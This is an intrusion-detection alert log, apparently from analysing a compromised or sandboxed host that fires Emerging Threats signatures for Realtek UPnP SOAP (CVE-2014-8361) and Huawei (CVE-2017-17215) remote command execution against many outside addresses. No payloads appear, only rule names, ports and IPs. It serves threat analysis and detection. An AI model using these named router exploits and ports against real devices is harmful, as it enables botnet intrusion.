07/20/24-23:01:08.571946	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56214	52869	192.168.2.23	94.221.100.187
07/20/24-23:01:26.120876	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55384	52869	192.168.2.23	143.157.68.18
07/20/24-23:01:08.575986	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34640	52869	192.168.2.23	25.158.237.150
07/20/24-23:01:31.314906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57430	52869	192.168.2.23	85.173.195.222
07/20/24-23:00:57.222279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58602	37215	192.168.2.23	157.10.69.196
07/20/24-23:01:02.048113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42374	37215	192.168.2.23	61.78.107.95
07/20/24-23:01:07.066373	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43812	37215	192.168.2.23	41.233.32.110
07/20/24-23:01:43.724924	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50284	52869	192.168.2.23	155.182.30.66
07/20/24-23:01:34.060991	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39904	37215	192.168.2.23	197.225.60.182
07/20/24-23:01:46.462339	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41534	52869	192.168.2.23	125.67.244.75
07/20/24-23:01:01.367078	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48042	52869	192.168.2.23	54.250.134.170
07/20/24-23:01:31.977603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42646	37215	192.168.2.23	197.182.219.57
07/20/24-23:01:20.132103	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58050	37215	192.168.2.23	79.94.2.62
07/20/24-23:01:20.169339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45458	37215	192.168.2.23	223.241.109.88
07/20/24-23:01:45.489343	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46452	52869	192.168.2.23	50.90.160.227
07/20/24-23:01:51.275864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34734	52869	192.168.2.23	37.189.26.199
07/20/24-23:01:53.309955	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41650	52869	192.168.2.23	195.166.157.114
07/20/24-23:01:24.898476	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42402	37215	192.168.2.23	220.206.255.62
07/20/24-23:01:02.755930	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44056	52869	192.168.2.23	38.158.187.83
07/20/24-23:01:07.022763	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50798	37215	192.168.2.23	197.243.97.104
07/20/24-23:01:52.388926	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43206	52869	192.168.2.23	147.248.255.23
07/20/24-23:01:07.054782	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60950	37215	192.168.2.23	41.85.182.81
07/20/24-23:01:08.659435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51832	52869	192.168.2.23	78.39.181.117
07/20/24-23:00:57.220983	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55530	37215	192.168.2.23	157.37.107.134
07/20/24-23:01:42.898615	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55692	52869	192.168.2.23	142.238.177.84
07/20/24-23:01:41.522990	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53746	52869	192.168.2.23	146.0.35.148
07/20/24-23:01:20.156820	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42496	37215	192.168.2.23	157.145.57.110
07/20/24-23:01:04.053605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46358	37215	192.168.2.23	118.207.69.207
07/20/24-23:01:02.065822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49282	52869	192.168.2.23	70.239.61.12
07/20/24-23:01:02.076414	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33174	37215	192.168.2.23	197.121.129.192
07/20/24-23:01:31.325400	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54428	52869	192.168.2.23	118.217.116.132
07/20/24-23:01:07.114267	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38558	37215	192.168.2.23	157.73.211.6
07/20/24-23:01:40.321300	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38676	37215	192.168.2.23	31.249.51.37
07/20/24-23:01:11.631728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33218	37215	192.168.2.23	167.41.22.33
07/20/24-23:01:41.286911	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56910	52869	192.168.2.23	174.56.140.249
07/20/24-23:01:44.862542	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44990	52869	192.168.2.23	169.129.60.246
07/20/24-23:01:40.279669	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43798	37215	192.168.2.23	197.215.73.79
07/20/24-23:01:24.915904	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48890	37215	192.168.2.23	196.254.2.2
07/20/24-23:01:25.002144	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41796	52869	192.168.2.23	178.214.207.137
07/20/24-23:01:46.146350	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47110	52869	192.168.2.23	183.90.49.252
07/20/24-23:01:52.428503	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33086	52869	192.168.2.23	52.24.218.23
07/20/24-23:01:43.035756	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38810	52869	192.168.2.23	152.70.166.60
07/20/24-23:01:40.291616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48096	37215	192.168.2.23	213.187.250.71
07/20/24-23:01:44.280821	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50254	52869	192.168.2.23	4.66.151.191
07/20/24-23:01:44.175701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38730	52869	192.168.2.23	190.104.185.79
07/20/24-23:01:04.142086	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57262	52869	192.168.2.23	175.24.153.194
07/20/24-23:01:45.175511	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52488	52869	192.168.2.23	99.207.71.238
07/20/24-23:01:11.818842	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35052	37215	192.168.2.23	41.84.101.199
07/20/24-23:01:20.181938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37886	37215	192.168.2.23	157.155.110.53
07/20/24-23:01:02.716646	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46338	52869	192.168.2.23	210.116.25.221
07/20/24-23:01:43.977046	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50968	52869	192.168.2.23	141.217.152.223
07/20/24-23:01:40.285038	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42554	37215	192.168.2.23	99.254.210.2
07/20/24-23:01:47.503890	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44896	52869	192.168.2.23	209.24.146.250
07/20/24-23:01:11.820979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40132	37215	192.168.2.23	85.72.21.57
07/20/24-23:01:11.818830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47376	37215	192.168.2.23	41.201.122.237
07/20/24-23:01:55.802130	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49964	52869	192.168.2.23	69.58.59.239
07/20/24-23:01:45.933452	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51032	52869	192.168.2.23	79.95.218.159
07/20/24-23:01:00.648489	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54854	37215	192.168.2.23	157.21.145.183
07/20/24-23:01:41.456456	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51624	52869	192.168.2.23	131.22.29.107
07/20/24-23:01:55.428221	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55450	52869	192.168.2.23	180.191.130.65
07/20/24-23:01:14.100332	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58066	37215	192.168.2.23	41.200.152.219
07/20/24-23:01:08.630327	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34078	52869	192.168.2.23	195.64.245.14
07/20/24-23:01:13.282996	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57500	52869	192.168.2.23	211.27.252.180
07/20/24-23:01:24.929013	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56196	37215	192.168.2.23	197.78.152.186
07/20/24-23:01:27.653586	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48390	37215	192.168.2.23	197.171.117.24
07/20/24-23:01:34.044417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41170	37215	192.168.2.23	41.118.41.79
07/20/24-23:01:43.054762	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32944	52869	192.168.2.23	85.15.162.89
07/20/24-23:01:41.463722	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46604	52869	192.168.2.23	204.152.123.98
07/20/24-23:01:41.303421	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50492	52869	192.168.2.23	68.175.73.118
07/20/24-23:01:43.621955	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59324	52869	192.168.2.23	157.142.102.71
07/20/24-23:01:07.005156	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44902	37215	192.168.2.23	197.119.197.200
07/20/24-23:01:42.608320	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38496	52869	192.168.2.23	220.210.17.223
07/20/24-23:01:52.582295	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35552	52869	192.168.2.23	81.110.138.235
07/20/24-23:01:02.047411	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41596	37215	192.168.2.23	157.221.87.32
07/20/24-23:01:44.565132	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57282	52869	192.168.2.23	112.138.84.14
07/20/24-23:01:14.060998	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38858	37215	192.168.2.23	197.31.217.253
07/20/24-23:01:55.154049	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43950	52869	192.168.2.23	125.58.232.126
07/20/24-23:01:32.039719	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56254	37215	192.168.2.23	197.178.133.102
07/20/24-23:01:43.921490	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52538	52869	192.168.2.23	48.218.79.196
07/20/24-23:01:41.392527	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56686	52869	192.168.2.23	9.196.233.159
07/20/24-23:01:41.676253	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44594	52869	192.168.2.23	49.9.206.193
07/20/24-23:01:42.608320	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47468	52869	192.168.2.23	163.212.66.23
07/20/24-23:01:00.633742	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49618	37215	192.168.2.23	197.74.184.130
07/20/24-23:01:02.724151	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41746	52869	192.168.2.23	115.161.142.144
07/20/24-23:00:59.157444	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41416	37215	192.168.2.23	197.194.145.174
07/20/24-23:01:08.659435	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39710	52869	192.168.2.23	25.108.103.192
07/20/24-23:01:49.456461	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51876	52869	192.168.2.23	203.13.28.171
07/20/24-23:01:49.084300	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40496	52869	192.168.2.23	138.199.35.177
07/20/24-23:01:57.885722	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55240	52869	192.168.2.23	99.190.226.142
07/20/24-23:01:31.320679	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57774	52869	192.168.2.23	45.144.124.12
07/20/24-23:01:31.975158	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58306	37215	192.168.2.23	157.186.3.56
07/20/24-23:01:58.624224	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60474	52869	192.168.2.23	188.52.23.162
07/20/24-23:01:42.631864	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47372	52869	192.168.2.23	191.177.238.243
07/20/24-23:01:08.672944	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55890	52869	192.168.2.23	91.10.179.128
07/20/24-23:01:49.555689	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52848	52869	192.168.2.23	134.217.248.188
07/20/24-23:01:51.354418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44534	52869	192.168.2.23	152.150.124.219
07/20/24-23:02:09.148759	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44778	52869	192.168.2.23	80.223.189.233
07/20/24-23:01:42.262355	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57412	52869	192.168.2.23	129.65.153.68
07/20/24-23:01:52.934726	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46990	52869	192.168.2.23	139.163.81.215
07/20/24-23:01:31.982478	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43552	37215	192.168.2.23	197.121.218.24
07/20/24-23:02:09.668312	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45842	52869	192.168.2.23	175.222.148.23
07/20/24-23:01:08.646615	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54664	52869	192.168.2.23	150.181.42.248
07/20/24-23:01:11.636425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53820	37215	192.168.2.23	197.83.57.75
07/20/24-23:01:43.173843	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47334	52869	192.168.2.23	129.145.211.206
07/20/24-23:01:52.482723	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58162	52869	192.168.2.23	184.162.52.201
07/20/24-23:01:41.303669	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41978	52869	192.168.2.23	184.207.38.235
07/20/24-23:01:52.038834	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45048	52869	192.168.2.23	18.71.115.72
07/20/24-23:01:34.062277	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48014	37215	192.168.2.23	195.17.33.203
07/20/24-23:01:04.094795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55162	37215	192.168.2.23	157.87.142.177
07/20/24-23:01:49.207937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58860	52869	192.168.2.23	68.37.23.19
07/20/24-23:01:01.320095	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34398	52869	192.168.2.23	27.254.228.216
07/20/24-23:01:24.944299	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42332	37215	192.168.2.23	157.87.66.233
07/20/24-23:01:42.501090	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35970	52869	192.168.2.23	18.13.209.238
07/20/24-23:01:04.039129	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32866	37215	192.168.2.23	157.100.128.69
07/20/24-23:01:09.030401	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36084	52869	192.168.2.23	184.60.97.199
07/20/24-23:01:50.418920	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47852	52869	192.168.2.23	61.169.73.117
07/20/24-23:01:44.274940	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44924	52869	192.168.2.23	39.205.206.142
07/20/24-23:00:59.191389	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34754	37215	192.168.2.23	41.24.39.230
07/20/24-23:01:44.250892	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60948	52869	192.168.2.23	137.66.212.197
07/20/24-23:01:11.818842	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60604	37215	192.168.2.23	197.189.13.100
07/20/24-23:01:00.636533	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45164	37215	192.168.2.23	41.244.169.9
07/20/24-23:01:40.334452	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50810	37215	192.168.2.23	157.45.76.10
07/20/24-23:01:46.871315	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47422	52869	192.168.2.23	196.221.214.48
07/20/24-23:01:41.722890	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44964	52869	192.168.2.23	141.137.71.180
07/20/24-23:02:04.133788	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57830	52869	192.168.2.23	166.75.101.81
07/20/24-23:01:47.798104	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52252	52869	192.168.2.23	13.59.59.107
07/20/24-23:01:43.167781	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52466	52869	192.168.2.23	212.16.123.155
07/20/24-23:01:04.039128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33546	37215	192.168.2.23	178.223.125.30
07/20/24-23:01:58.885082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42284	52869	192.168.2.23	176.234.87.122
07/20/24-23:01:04.423031	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43584	52869	192.168.2.23	186.40.176.32
07/20/24-23:01:10.775483	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43032	52869	192.168.2.23	144.152.137.9
07/20/24-23:01:47.873078	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51952	52869	192.168.2.23	93.25.182.143
07/20/24-23:01:27.655551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44916	37215	192.168.2.23	157.84.55.40
07/20/24-23:01:54.808195	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33692	52869	192.168.2.23	63.248.77.62
07/20/24-23:01:41.501891	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53774	52869	192.168.2.23	212.24.31.41
07/20/24-23:01:51.562834	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53128	52869	192.168.2.23	157.184.119.75
07/20/24-23:01:44.392836	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56896	52869	192.168.2.23	94.208.23.95
07/20/24-23:01:48.275988	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39732	52869	192.168.2.23	89.150.205.193
07/20/24-23:01:34.060991	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45286	37215	192.168.2.23	197.0.183.138
07/20/24-23:01:06.991143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35088	37215	192.168.2.23	41.134.186.139
07/20/24-23:02:37.919900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35978	52869	192.168.2.23	152.191.160.62
07/20/24-23:01:48.986585	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49714	52869	192.168.2.23	32.103.164.103
07/20/24-23:01:41.383579	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43468	52869	192.168.2.23	126.224.156.29
07/20/24-23:01:43.062246	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54704	52869	192.168.2.23	142.238.177.84
07/20/24-23:02:10.069241	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37284	52869	192.168.2.23	152.191.160.62
07/20/24-23:01:14.090830	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36734	37215	192.168.2.23	157.160.251.29
07/20/24-23:01:51.124824	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35310	52869	192.168.2.23	208.210.235.23
07/20/24-23:01:08.597662	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36710	52869	192.168.2.23	208.190.62.115
07/20/24-23:01:43.580365	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55990	52869	192.168.2.23	94.120.34.76
07/20/24-23:01:43.642551	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56348	52869	192.168.2.23	114.55.77.0
07/20/24-23:01:47.267254	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51136	52869	192.168.2.23	93.186.61.171
07/20/24-23:01:01.443835	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52384	52869	192.168.2.23	90.243.193.156
07/20/24-23:01:46.220244	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37292	52869	192.168.2.23	117.120.22.241
07/20/24-23:01:44.085493	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60514	52869	192.168.2.23	104.158.63.237
07/20/24-23:01:34.044417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54706	37215	192.168.2.23	202.243.3.110
07/20/24-23:01:21.951975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60584	37215	192.168.2.23	157.58.18.134
07/20/24-23:01:04.094795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48598	37215	192.168.2.23	157.122.28.196
07/20/24-23:02:09.263272	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43816	52869	192.168.2.23	210.49.56.86
07/20/24-23:01:25.302531	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49410	52869	192.168.2.23	125.53.48.130
07/20/24-23:01:31.318206	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59666	52869	192.168.2.23	154.90.91.204
07/20/24-23:01:44.749294	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55868	52869	192.168.2.23	169.186.230.20
07/20/24-23:01:43.014738	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44048	52869	192.168.2.23	49.238.106.168
07/20/24-23:01:01.852700	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50044	52869	192.168.2.23	106.250.20.58
07/20/24-23:01:44.464382	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60824	52869	192.168.2.23	89.81.144.22
07/20/24-23:01:47.943232	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43862	52869	192.168.2.23	213.170.177.158
07/20/24-23:01:26.790100	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35768	52869	192.168.2.23	168.91.139.254
07/20/24-23:01:41.298259	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59392	52869	192.168.2.23	49.57.98.237
07/20/24-23:01:53.735607	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50640	52869	192.168.2.23	107.61.249.135
07/20/24-23:01:43.096223	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56734	52869	192.168.2.23	170.47.68.177
